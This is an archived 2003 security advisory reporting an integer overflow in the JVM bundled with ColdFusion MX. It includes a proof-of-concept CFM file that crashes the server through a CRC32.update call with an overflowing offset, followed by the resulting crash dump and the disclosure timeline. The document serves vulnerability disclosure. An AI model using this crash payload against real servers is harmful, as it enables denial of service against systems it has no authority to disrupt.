TUCoPS :: Web :: General :: bt87.txt

Coldfusion MX: Java in CFM causes Crash


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Illegalaccess Security Advisory

Name: Macromedia Coldfusion MX
Systems: All platforms with jdk 1.3.1 Level _03 until _07
Risk Category: Medium
Vulnerability Type: Integer Overflow
Vendor URL: http://www.macromedia.com
Author: Marc Schoenefeld (marc@illegalaccess.org)
Date: 29th April 2003

Hi,

the following cfm crashes macromedia coldfusion mx
due to a integer overflow vulnerability in the bundled
java virtual machine (1.3.1_03).

To try just alter the <! tags !

These type of bugs have already been reported by
illegalaccess.org to Sun Microsystems
in February 2003, but not been fixed in the 1.3.1 edition.
Suns Java 1.4.1_02 is the first version not to be vulnerable to
these problems.

Macromedia was informed on 4/28/03, but no reaction except
a mail reception by a cgi script.

For further info read:
http://developer.java.sun.com/developer/bugParade/bugs/4811913.html
http://developer.java.sun.com/developer/bugParade/bugs/4812181.html
http://developer.java.sun.com/developer/bugParade/bugs/4812006.html
http://developer.java.sun.com/developer/bugParade/bugs/4811927.html
http://developer.java.sun.com/developer/bugParade/bugs/4811917.html

Sincerely
Marc Schoenefeld

- ------------------crash.cfm-------------------------
<!H1> Coldfusion MX crash with Java <!/h1>
<!h2> Marc Schoenefeld @ illegalaccess.org <!/h2>

<!cfapplication name=3D"Marc" sessionmanagement=3D"yes">


<!cfobject action=3D"create" type=3D"Java" class=3D"java.lang.String" name=
=3D"s">
<!cfobject action=3D"create" type=3D"Java" class=3D"java.util.zip.CRC32" na=
me=3D"c">
<!cfset ret=3Ds.init()>
<!cfset ret=3Dc.init()>
<!cfset str =3D s.getBytes()>
<!cfset retval =3D c.update(str,2147483647,4)>
- ------------------crash.cfm-------------------------

An unexpected exception has been detected in native code outside the VM.
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=3D0x6d3c215b
Function name=3DJava_java_util_zip_ZipEntry_initFields
Library=3DI:\programme\CFusionMX\runtime\jre\bin\zip.dll

Current Java thread:
=09at java.util.zip.CRC32.updateBytes(Native Method)
=09at java.util.zip.CRC32.update(Unknown Source)
=09at java.lang.reflect.Method.invoke(Native Method)
=09at coldfusion.runtime.java.JavaProxy.invoke(Unknown Source)
=09at coldfusion.runtime.CfJspPage._invoke(Unknown Source)
=09at
cfcrash2ecfm1822493011.runPage(I:\Programme\CFusionMX\wwwroot\cfdocs\crash.=
cfm:12)
=09at coldfusion.runtime.CfJspPage.invoke(Unknown Source)
=09at coldfusion.tagext.lang.IncludeTag.doStartTag(Unknown Source)
=09at coldfusion.filter.CfincludeFilter.invoke(Unknown Source)
=09at coldfusion.filter.ApplicationFilter.invoke(Unknown Source)
=09at coldfusion.filter.PathFilter.invoke(Unknown Source)
=09at coldfusion.filter.ExceptionFilter.invoke(Unknown Source)
=09at coldfusion.filter.ClientScopePersistenceFilter.invoke(Unknown
Source)
=09at coldfusion.filter.BrowserFilter.invoke(Unknown Source)
=09at coldfusion.filter.GlobalsFilter.invoke(Unknown Source)
=09at coldfusion.filter.DatasourceFilter.invoke(Unknown Source)
=09at coldfusion.CfmServlet.service(Unknown Source)
=09at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:106)
=09at
jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42)
=09at
jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:241)
=09at
jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:527)
=09at jrun.servlet.http.WebService.invokeRunnable(WebService.java:172)
=09at
jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java=
:348)
=09at
jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:45=
1)
=09at
jrunx.scheduler.ThreadPool$UpstreamMetrics.invokeRunnable(ThreadPool.java:2=
94)
=09at jrunx.scheduler.WorkerThread.run(WorkerThread.java:66)

Dynamic libraries:
0x00400000 - 0x0040F000 =09I:\Programme\CFusionMX\runtime\bin\jrun.exe
0x77F40000 - 0x77FEE000 =09C:\WINDOWS\System32\ntdll.dll
0x77E40000 - 0x77F38000 =09C:\WINDOWS\system32\kernel32.dll
=2E..


- --

Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous

Marc Sch=F6nefeld Dipl. Wirtsch.-Inf. / Software Developer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (AIX)
Comment: For info see http://www.gnupg.org

iD8DBQE+rp/cqCaQvrKNUNQRAvM6AJ9elG8t4gmwPQKJgpamrmOIGCirBwCeNHsN
e2RINpJj1RzyBuuRvZUCBEk=3D
=3DF+wc
-----END PGP SIGNATURE-----

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH